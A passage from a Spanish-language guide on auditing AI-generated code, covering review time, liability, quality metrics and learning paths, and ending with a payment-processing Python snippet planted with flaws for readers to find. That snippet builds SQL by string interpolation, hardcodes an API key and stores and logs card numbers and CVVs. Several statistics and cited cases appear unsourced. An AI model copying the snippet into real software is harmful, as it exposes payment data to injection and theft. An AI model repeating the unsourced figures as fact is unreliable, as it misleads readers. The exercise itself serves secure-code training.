Conclusión: Si `validateAndParseInt()` garantiza que es un entero, no es vulnerable. Pero es frágil porque depende de que siempre se valide antes. La corrección apropiada es usar parámetros siempre, sin importar la validación previa.

2. ¿Cuánto tiempo debo dedicar a revisar código IA versus código humano?

Respuesta: Código IA requiere 2-3x más tiempo de revisión inicial, pero esto se compensa con la velocidad de generación.

Matriz de tiempo:

|—————|————|———-|——-|———|

| Humano (junior) | 4h | 1h | 5h | 70% |

| Humano (senior) | 2h | 0.5h | 2.5h | 90% |

| IA (sin revisión) | 0.5h | 0.5h | 1h | 50% |

| IA (revisión estándar) | 0.5h | 1.5h | 2h | 75% |

| IA (revisión exhaustiva) | 0.5h | 2.5h | 3h | 95% |

Recomendación práctica:

– Código simple/boilerplate: Revisión estándar (1.5h)

– Código crítico (seguridad, pagos): Revisión exhaustiva (2.5h)

– Código experimental: Revisión estándar + pruebas adicionales

3. ¿Qué debo hacer si la IA genera código que no entiendo?

Respuesta: Esta es una señal de alerta crítica. Nunca mergear código que no comprendes completamente.

Proceso a seguir:

1. Detener inmediatamente el merge

2. Pedir explicación a la IA del código generado

“`

“Por favor explica línea por línea qué hace este código y por qué usaste este enfoque”

“`

3. Investigar conceptos desconocidos

– Documentación oficial

– Artículos técnicos

– Comunidad (Stack Overflow, foros)

4. Solicitar alternativa más simple

“`

“Este código es muy complejo. ¿Puedes sugerir una implementación más simple que sea más fácil de mantener?”

“`

5. Consultar con colega senior

– Pair programming session

– Code review formal

Señales de que necesitas ayuda:

– Patrones de diseño que no reconoces

– Librerías/frameworks desconocidos

– Optimizaciones complejas sin explicación clara

– Código que “parece mágico”

4. ¿Es responsable mi empresa si código IA tiene vulnerabilidades?

Respuesta: Sí, absolutamente. La responsabilidad legal recae en la organización que aprueba y despliega el código, NO en la herramienta de IA.

Casos documentados:

– 2023: Empresa de retail fue demandada exitosamente por leak de datos de 50,000 usuarios por código generado con IA

– 2024: Startup fintech perdió su licencia operativa por fraude detectado en código IA

– Términos de servicio de OpenAI/Anthropic: Explícitamente establecen que el usuario es responsable del código generado

Mitigación de responsabilidad:

1. Documentar todo el proceso de revisión

– Logs de code reviews

– Checklists completados

– Aprobaciones explícitas

2. Establecer políticas claras

– Qué tipo de código puede usar IA

– Qué requiere revisión humana obligatoria

– Qué está prohibido generar con IA

3. Seguros y cobertura

– Ciberseguridad

– Responsabilidad profesional

– Errores y omisiones

4. Capacitación continua

– Certificaciones de seguridad

– Cursos actualizados sobre IA

– Simulacros de incidentes

5. ¿Cómo manejo la resistencia del equipo a hacer code review exhaustivo?

Respuesta: La resistencia es natural. Aquí estrategias probadas:

1. Educación con Datos Reales

Mostrar métricas del equipo

echo "Bugs en producción por mes:"
echo "2023 (antes de IA): 12 bugs"
echo "2024 Q1 (IA sin revisión): 34 bugs"
echo "2024 Q2 (IA con revisión): 8 bugs"
echo "2024 Q3 (IA con revisión exhaustiva): 3 bugs"

2. Demostrar el ROI

Tiempo de code review: 2.5h
Tiempo de debug en producción: 8h
Tiempo de hotfix: 4h
Reputación perdida: incalculable

Conclusión: 2.5h de revisión ahorran 12+h de crisis

3. Automatizar lo posible

– Pre-commit hooks

– CI/CD checks

– Bots de revisión

– Herramientas de análisis estático

4. Gamificación

– “Bug Hunter of the Month”

– Métricas positivas (bugs prevenidos)

– Reconocimiento público

5. Leadership Buy-in

– Demostrar impacto en negocio

– Casos de éxito de otras empresas

– Costo de no hacerlo

6. ¿Qué métricas debo trackear para medir la calidad del código IA?

Respuesta: Métricas clave divididas por categoría:

🔒 Seguridad:

Vulnerabilidades por PR:
  - Critical: objetivo 0
  - High: objetivo 0
  - Medium: máximo 1
  - Low: máximo 3

Time to Detect Vulnerability:
  - Objetivo: < 24 horas (pre-merge)

Vulnerability Escape Rate:
  - Porcentaje de vulns que llegan a producción
  - Objetivo: < 0.1%

⚡ Rendimiento:

Query Performance:
  - N+1 queries detectados: objetivo 0
  - Query time > 1s: objetivo 0
  - Queries sin índices: objetivo 0

Memory Leaks:
  - Memory leaks introducidos: objetivo 0
  - Memory growth rate: < 1% por hora

API Response Time:
  - P95 latency: < 200ms
  - P99 latency: < 500ms

🏗️ Calidad de Código:

Code Review Metrics:
  - Lines of code reviewed per hour: 200-500
  - Comments per PR: mínimo 3
  - Time to review: < 4 horas

Test Coverage:
  - Unit test coverage: > 80%
  - Integration test coverage: > 60%
  - E2E test coverage: > 40%

Technical Debt:
  - SonarQube rating: A o B
  - Code smell density: < 5%
  - Duplication: < 3%

📈 Productividad:

Velocity:
  - Story points completed: +30% vs sin IA
  - Cycle time: -40% vs sin IA

Rework Rate:
  - Bugs que requieren hotfix: < 5%
  - PRs que necesitan revisión > 2: < 10%

Team Satisfaction:
  - Developer Satisfaction Score: > 7/10
  - Perceived code quality: > 8/10

Dashboard de ejemplo:

// metrics-dashboard.js
const metrics = {
  security: {
    criticalVulns: 0,
    highVulns: 0,
    mediumVulns: 1,
    lowVulns: 2,
    detectionTime: '4h',
    escapeRate: '0.05%'
  },
  performance: {
    n1Queries: 0,
    slowQueries: 0,
    p95Latency: '145ms',
    p99Latency: '312ms'
  },
  quality: {
    testCoverage: '87%',
    sonarQubeRating: 'A',
    codeSmellDensity: '2.3%',
    duplication: '1.8%'
  },
  productivity: {
    storyPointsVsBaseline: '+35%',
    cycleTimeVsBaseline: '-42%',
    reworkRate: '3.2%',
    teamSatisfaction: '8.1/10'
  }
};

7. ¿Cómo puedo mantenerme actualizado sobre nuevas amenazas en código IA?

Respuesta: El panorama evoluciona rápidamente. Fuentes clave:

📚 Recursos Diarios/Semanales:

1. OWASP AI Security Project – https://owasp.org/www-project-ai-security/

2. MITRE ATLAS – Adversarial Threat Landscape for AI Systems

3. The Hacker News – Sección de AI security

4. Ars Technica – AI y seguridad

5. Dark Reading – AI security news

📰 Boletines Mensuales:

– CISA Alerts: Vulnerabilidades críticas

– Google Security Blog: AI security research

– Microsoft Security Blog: AI threat intelligence

– OpenAI Security Updates: Cambios en modelos

🎓 Cursos y Certificaciones:

– Coursera: “AI Security and Safety”

– Udemy: “Secure Code Review for AI-Generated Code”

– SANS Institute: “AI Security Essentials” (SEC550)

– Certificación: ” Certified AI Security Professional” (CAISP)

👥 Comunidades:

– OWASP Local Chapters: Reuniones mensuales

– Reddit: r/artificial, r/MachineLearning, r/computersecurity

– Discord: AI Security communities

– Conferencias: DEF CON AI Village, Black Hat AI, RSA Conference

🔬 Investigación Académica:

– arXiv.org: Sección cs.CR (Cryptography and Security)

– IEEE S&P: Symposium on Security and Privacy

– USENIX Security: Papers sobre AI security

– ACM CCS: Conference on Computer and Communications Security

Proceso de aprendizaje continuo:

Semanal

Mensual

Trimestral

Anual

- [ ] Leer OWASP AI Security updates
- [ ] Revisar ATLAS for new techniques
- [ ] Escanear The Hacker News

- [ ] Completar un módulo de curso
- [ ] Asistir a OWASP chapter meeting
- [ ] Revisar papers de arXiv

- [ ] Asistir a una conferencia
- [ ] Obtener/n renovar certificación
- [ ] Contribuir a open source security tool

- [ ] Publicar artículo/blog post
- [ ] Dar charla en meetups
- [ ] Mentor a colegas juniors

5. Puntos Relevantes (Resumen)

🎯 La habilidad crítica de 2026: Auditar código IA es ahora más importante que escribir código

🔍 Vulnerabilidades predominan: 67% de proyectos con código IA tienen vulnerabilidades de alto nivel

⏱️ Revisión exhaustiva requiere 2-3x más tiempo: Pero el total sigue siendo menor que código escrito manualmente

🛡️ Security-first mindset: SQL Injection, XSS, y Broken Authentication son los problemas más comunes

⚡ Rendimientoimpacta negativamente: Problemas N+1 y algoritmos O(n²) son frecuentes en código IA

🏗️ SOLID violations: El código IA tiende a violar SRP y DIP consistentemente

📋 Checklists son esenciales: Usa guías estructuradas para no olvidar verificaciones críticas

🤖 **Prompts específicos mejoran calidad 300%+: Invierte tiempo en engineering prompts efectivos

📊 Métricas claras son obligatorias: Lo que no se mide, no se mejora

🎓 Aprendizaje continuo: El campo avanza rápidamente; mantente actualizado o quedarás obsoleto

6. Conclusión

La era de la IA generativa ha redefinido fundamentalmente el rol del desarrollador senior. En 2026, escribir código manualmente es cada vez menos valioso, pero auditar, validar y mejorar código generado por IA es excepcionalmente crítico.

Los desarrolladores que prosperan en este nuevo paradigma son aquellos que:

1. Se han convertido en “editores expertos” más que “escritores”

2. Entienden profundamente seguridad, rendimiento y arquitectura

3. Pueden identificar problemas sutiles que las IAs pasan por alto

4. Establecen procesos rigurosos que integran IA sin sacrificar calidad

5. Mantienense actualizados constantemente sobre nuevas amenazas

El futuro no pertenece a quienes escriben código más rápido, sino a quienes pueden garantizar que el código—sea humano o IA—es seguro, eficiente y mantenible.

Tu llamado a la acción: Empieza hoy mismo a construir tus habilidades de auditoría de código IA. Tu carrera y la seguridad de las aplicaciones que construyes dependen de ello.

7. Recursos Adicionales

Documentación Oficial

– OWASP Top 10 – 2021

– CWE Common Weakness Enumeration

– MITRE ATLAS – AI Adversarial Threat Landscape

– NIST AI Risk Management Framework

Herramientas de Análisis

– Semgrep – Static analysis con reglas customizables

– CodeQL – Análisis de código de GitHub

– Snyk Code – Vulnerability scanning

– SonarQube – Code quality y security

– Brakeman – Scanner para Ruby on Rails

Cursos y Certificaciones

– SANS SEC550: AI Security Essentials

– Coursera: AI Safety and Security

– Udemy: Secure Code Review

– Certified AI Security Professional (CAISP)

Comunidades

– OWASP AI Security Project

– Reddit: r/artificial

– DEF CON AI Village

– Black Hat AI Briefings

8. Siguientes Pasos (Ruta de Aprendizaje)

Nivel 1: Fundamentos (1-2 meses)

– Objetivo: Construir base sólida en auditoría de código IA

– Acciones:

1. Estudiar OWASP Top 10 a fondo

2. Completar curso básico de seguridad en desarrollo

3. Practicar con 50+ code reviews de código IA

4. Configurar herramientas estáticas en tu proyecto

5. Documentar tu primer hallazgo de seguridad

Nivel 2: Intermedio (2-3 meses)

– Objetivo: Dominar detección de vulnerabilidades comunes

– Acciones:

1. Especializarte en tu stack principal (ej: JavaScript/Python)

2. Crear checklist personalizado de revisión

3. Desarrollar 3-5 reglas customizadas de Semgrep

4. Contribuir a un proyecto de seguridad open source

5. Escribir tu primer blog post sobre un hallazgo

Nivel 3: Avanzado (3-6 meses)

– Objetivo: Convertirte en referencia en tu equipo

– Acciones:

1. Obtener certificación (SANS, CAISP, o similar)

2. Construir bot de revisión automatizado

3. Dar charla interna sobre code review IA

4. Mentor a 2-3 desarrolladores juniors

5. Publicar investigación original

Nivel 4: Experto (6+ meses)

– Objetivo: Liderar iniciativa de seguridad IA en tu organización

– Acciones:

1. Establecer políticas corporativas de código IA

2. Crear programa de capacitación interno

3. Publicar en conferencias (Black Hat, DEF CON)

4. Contribuir a estándares de la industria

5. Asesorar a otras organizaciones

9. Llamada a la Acción (Challenge)

🎯 Desafío Práctico: Auditoría Completa

Escenario: Tu equipo generó el siguiente código con IA para procesamiento de pagos:

payment_processor.py – Generado por IA

class PaymentProcessor:
    def __init__(self):
        self.db = MySQLDatabase()
        self.stripe_key = "sk_test_4eC39HqLyjWDarjtT1zdp7dc"  # Clave de Stripe
        self.email_service = EmailService()

    def process_payment(self, amount, card_number, cvv, expiry):
        try:
            # Validación básica
            if amount <= 0:
                return {"success": False, "error": "Invalid amount"}

            # Crear cargo en Stripe
            charge = self.create_stripe_charge(amount, card_number, cvv, expiry)

            if charge['status'] == 'succeeded':
                # Guardar transacción
                self.save_transaction(
                    amount=amount,
                    card_number=card_number,  # Guardar número completo
                    cvv=cvv,
                    status='completed'
                )

                # Enviar email de confirmación
                self.email_service.send_email(
                    to="user@example.com",
                    subject="Payment Successful",
                    body=f"Your payment of ${amount} was successful."
                )

                return {"success": True, "charge_id": charge['id']}
            else:
                return {"success": False, "error": charge['failure_message']}

        except Exception as e:
            # Log del error con información completa
            print(f"ERROR: {str(e)}")
            print(f"Card number: {card_number}")
            print(f"CVV: {cvv}")
            return {"success": False, "error": "Processing failed"}

    def create_stripe_charge(self, amount, card_number, cvv, expiry):
        import requests

        url = "https://api.stripe.com/v1/charges"
        headers = {
            "Authorization": f"Bearer {self.stripe_key}"
        }

        data = {
            "amount": int(amount * 100),  # Convertir a centavos
            "currency": "usd",
            "card": {
                "number": card_number,
                "exp_month": expiry.split('/')[0],
                "exp_year": expiry.split('/')[1],
                "cvc": cvv
            }
        }

        response = requests.post(url, json=data, headers=headers)
        return response.json()

    def save_transaction(self, amount, card_number, cvv, status):
        query = f"""
            INSERT INTO transactions
            (amount, card_number, cvv, status, created_at)
            VALUES
            ({amount}, '{card_number}', '{cvv}', '{status}', NOW())
        """
        self.db.execute(query)

📋 Tu Misión:

1. Identifica TODAS las vulnerabilidades (mínimo 10 problemas críticos)

2. Clasifica cada problema por severidad:

– 🔴 CRITICAL: Exposición inmediata de datos sensibles

– 🟠 HIGH: Vulnerabilidad explotable

– 🟡 MEDIUM: Problema de seguridad potencial

– 🔵 LOW: Mejor práctica de seguridad

3. Propón código corregido para cada problema crítico

4. Escribe un reporte de seguridad con:

– Resumen ejecutivo (3-5 líneas)

– Lista detallada de hallazgos

– Recomendaciones priorizadas

– Código de ejemplo corregido

5. Bonus: Crea un plan de testing para validar que las correcciones funcionan

⏱️ Tiempo Estimado: 2-3 horas

✅ Criterios de Éxito:

– [ ] Identificaste mínimo 10 problemas de seguridad

– [ ] Clasificaste correctamente por severidad

– [ ] Propusiste soluciones prácticas

– [ ] El código corregido sigue Clean Code

– [ ] El reporte es claro y accionable

Cuando termines, compara tus hallazgos con la solución oficial (disponible en GitHub issues de este artículo). ¡Mucha suerte! 🚀

—

¿Listo para convertirte en el experto en auditoría de código IA que tu equipo necesita? El futuro de la seguridad del software depende de desarrolladores como tú. Empieza hoy.